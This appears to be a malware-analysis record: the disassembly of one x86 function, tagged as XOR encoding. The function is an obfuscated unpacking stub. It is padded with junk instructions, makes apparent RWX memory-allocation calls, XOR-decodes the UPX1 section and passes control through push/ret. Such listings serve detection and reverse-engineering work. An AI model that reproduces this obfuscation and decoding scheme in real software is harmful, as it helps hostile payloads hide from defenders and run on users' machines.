Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4372a44
add edx, ecx
dec edx
mov edx, 0xf4e3d852
popal
mov edx, 0x11073af9
not edx
and ecx, edx
mov ebx, 0
mov ecx, eax
add esi, 0x83380074
add edx, edx
mov esi, 0x92f03bc1
mov edi, ecx
not edx
or esi, esi
sub esi, edx
mov eax, edi
mov edx, 0x136eeea6
mov edx, esi
and esi, esi
inc ebx
and edx, esi
sub esi, 0x7e27a7cb
sub edx, 0xfa24963a
cmp ebx, 0x10078fb
jne 0x47b451
mov esi, edx
not esi
add edx, ecx
or ecx, edx
mov edx, 0x47b21e
sub esi, 1
add esi, 1
mov ebx, 0x47b412
mov ecx, 0x778baef4
mov ecx, 0x48a7d71c
or esi, eax
mov edi, dword [edx]
mov eax, ecx
add eax, eax
and edi, 0xff
sub ecx, esi
mov eax, ecx
xor dword [ebx], edi
mov esi, 0x3a0e1bb7
or ecx, eax
not esi
add ebx, 1
dec eax
add eax, eax
sub ecx, 0xf9e1e1b4
inc edx
mov esi, 0xf564e691
mov ecx, 0xe372ad57
cmp ebx, entry0
jl 0x47b4b8
sub ecx, 1
or eax, ecx
sub ecx, 0x93daa8bb
mov ecx, 0x22ccd967
sub esi, 0x7a6a433b
sub ebx, edx
not edi
sub ecx, 1
mov esi, 0x47b416
sub ecx, 1
or edi, ecx
mov esi, dword [esi]
sub ebx, 0xcf92406e
sub edi, 0xc839fc12
inc edx
mov esi, dword [esi]
inc ebx
add ebx, 0x407ef5cd
push esi
and edi, ebx
and edi, edi
mov esi, 0x47b412
add ebx, 0xeccba621
dec edi
mov esi, dword [esi]
mov ebx, edx
add ecx, 1
mov esi, dword [esi]
mov ecx, 0x174aef1d
add ebx, ebx
sub esp, 4
mov dword [esp], 0x47b41a
sub edx, 0x3d2ed75d
mov ecx, 0x8521e4b5
call esi
add edx, edx
sub ebx, edx
sub edx, 0x70387f3a
pop esi
dec edx
and edi, edx
mov ecx, ebx
sub esp, 4
mov dword [esp], 0x47b427
mov ebx, 0xb035406
add ecx, 0x5f9705d5
and ecx, ecx
push eax
and edx, edx
add ebx, 1
call esi
or edx, edx
add ebx, ecx
sub esp, 4
mov dword [esp], 0x40
mov ecx, ebx
inc ecx
mov edi, 0xdbebc1b2
sub esp, 4
mov dword [esp], 0x3000
sub ecx, 0xb94c6000
not edx
push 0x20000f81
or edx, ebx
add edx, 0x80491779
add edi, 0xbc6ade27
sub esp, 4
mov dword [esp], 0
add edx, ecx
sub ecx, 0xed8f790f
call eax
inc ecx
or ebx, edi
add eax, 0x20000f18
inc edx
mov ebx, edx
sub ecx, 0xc947bff
mov esi, 0x705eaadc
sub ebx, 0x15d4bfd8
mov ecx, edx
mov ecx, 0x9bb8d474
mov dword [eax], esi
not ecx
sub edx, edi
dec ecx
mov esi, dword [eax]
sub edx, 0x136f1a65
not edi
sub ecx, ebx
cmp esi, 0x705eaadc
je 0x47b643
mov eax, 0
mov ebx, dword [eax]
mov edi, 0x594d6023
sub edx, edi
or edx, ebx
mov ebx, 0xe39572ff
add edx, 0x21fe055e
not edx
add ecx, ecx
and ecx, edx
mov eax, section.UPX1
sub ecx, 0xc9e97d83
mov edx, ecx
sub edx, 1
mov esi, 0x47b21d
and edx, ecx
add ecx, 0xb28f4a9e
mov ebx, 0
sub ecx, edx
add ecx, ecx
and ecx, edx
mov edi, 0x47b21e
and edx, edx
mov edx, 0xf55e1d56
lea edi, [edi + ebx]
sub ecx, 0xf32f544c
mov edx, 0x4bb693e5
and ecx, edx
mov edi, dword [edi]
sub ecx, 1
sub ecx, 0x9737cd93
and edi, 0xff
and edx, edx
dec edx
and ecx, edx
add ebx, 1
add edx, 0x20045eef
or ecx, edx
and ecx, ecx
cmp ebx, 0x1f4
jne 0x47b6da
mov ebx, 0
mov edx, 0xcb53db6c
or edx, ecx
mov edx, ecx
dec ecx
or ecx, edx
xor dword [eax], edi
mov edx, 0xc4e901fc
sub ecx, 0x60ec7a84
add eax, 2
dec ecx
sub edx, 0x278aeb70
sub edx, 0x52a95897
cmp eax, esi
jl 0x47b688
add ecx, 0x34a4a572
mov edx, 0x7ce81c76
inc ecx
not ecx
or edx, ecx
mov esi, section.UPX1
sub edi, 0xda36f7c0
add edi, 0xeb80bd18
mov edx, section.UPX1
not edi
mov ecx, 0xc51f91a5
mov eax, 0x47b21d
add ecx, 1
inc ecx
mov ebx, 0
sub edi, ecx
mov edi, ecx
mov ecx, edi
mov bl, byte [edx]
sub ecx, edi
and ecx, ecx
dec ecx
mov byte [esi], bl
mov ecx, edi
and ecx, ecx
inc esi
sub edi, 0x4c4ffc0a
sub ecx, edi
and edi, edi
add edx, 2
mov ecx, 0xd0bb5e10
mov ecx, edi
inc ecx
cmp edx, eax
jle 0x47b752
add edi, 1
mov ecx, 0xb8efae3a
add edi, ecx
mov edx, ecx
mov ecx, edx
sub esp, 4
mov dword [esp], 0x45e6a0
mov edx, 0x27b2be6c
sub edx, 1
ret